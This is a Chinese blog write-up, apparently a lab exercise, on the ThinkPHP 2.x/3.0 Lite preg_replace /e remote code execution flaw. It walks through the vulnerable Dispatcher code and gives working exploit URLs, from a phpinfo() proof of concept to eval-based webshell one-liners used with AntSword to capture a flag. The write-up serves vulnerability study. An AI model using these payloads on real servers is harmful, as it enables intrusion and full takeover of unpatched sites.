1.漏洞描述:

版本: ThinkPHP ThinkPHP 2.x

使用 preg_replace 的 /e 模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";',
implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0 版本因为 Lite 模式下没有修复该漏洞,也存在这个漏洞。所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。下面是搜索到的关于/e的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。


测试一下这个preg_replace()函数,代码如下:
<?php
@preg_replace('/test/e','print_r("测试成功");','test');
PHP4.4.9
测试发现从php4.4.9-php5.6.29都是可以执行的,但到了php7.0.1以上则不行了

2.漏洞复现

(1)打开靶场
靶场
(2)利用 POC 来验证, phpinfo() 成功执行。

/index.php?s=/index/index/xxx/${@phpinfo()}

phpinfo()
(3)写下一句话:

/index.php?s=/index/index/xxx/${${@eval($_POST[1])}}
拼接URL:
vulfocus.fofa.so:11703/index.php?s=/index/index/xxx/${${@eval($_POST[1])}}

环境又没了,重启了一下。
(4)用蚁剑连接:
蚁剑连接
(5)连接完成后去 tmp 临时文件下去查看 Flag
/tmp
找到flag

3.思路整理

从漏洞挖掘的角度,如果采用的是关键函数查找的方式,应该是先搜索preg_replace这个函数,发现使用了这个函数之后,在查看是否使用/e修饰符,然后查看是否存在可控参数,如果存在,在分析是否可以传参利用。

如果以挖漏洞的思路来看的话,应当整理思路如下:

1.确定php版本,如果版本在php4.4.9-php5.6.29之中
2.查找关键函数是否调用哪了preg_replace()函数
3.查看该函数所在的地方是否存在/e修饰符
4.查看是否存在可控参数,并分析是否可以传参利用

<1>存在preg_replace函数的脚本:

./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php

<2>存在/e修饰符的脚本:(这里只贴出来两个例子)

 ./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:            
 $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', 
 '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);

 ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:                
  $rule  = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);

<3>根据漏洞描述,有漏洞的代码位置在:

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 
implode($depr,$paths));

根据代码注释,了解到这个是 thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

thinkphp也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。

类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch()        URL映射到控制器
public static function getPathInfo()     获得服务器的PATH_INFO信息
static public function routerCheck()     路由检测
static private function parseUrl($route)
static private function getModule($var)  获得实际的模块名称
static private function getGroup($var)   获得实际的分组名称

有漏洞的代码位置在static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
    $var[C('VAR_MODULE')]  =   array_shift($paths);
}
$var[C('VAR_ACTION')]  =  array_shift($paths);
// 解析剩余的URL参数

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 
implode($depr,$paths));
$_GET   =  array_merge($var,$_GET);

数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

构造poc如下:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}

一句话payload:

/index.php?s=a/b/c/${@print(eval($_POST[1]))}
最后修改:2022 年 03 月 08 日 05 : 32 PM
如果觉得这篇文章不错,不妨赏我碎银几两。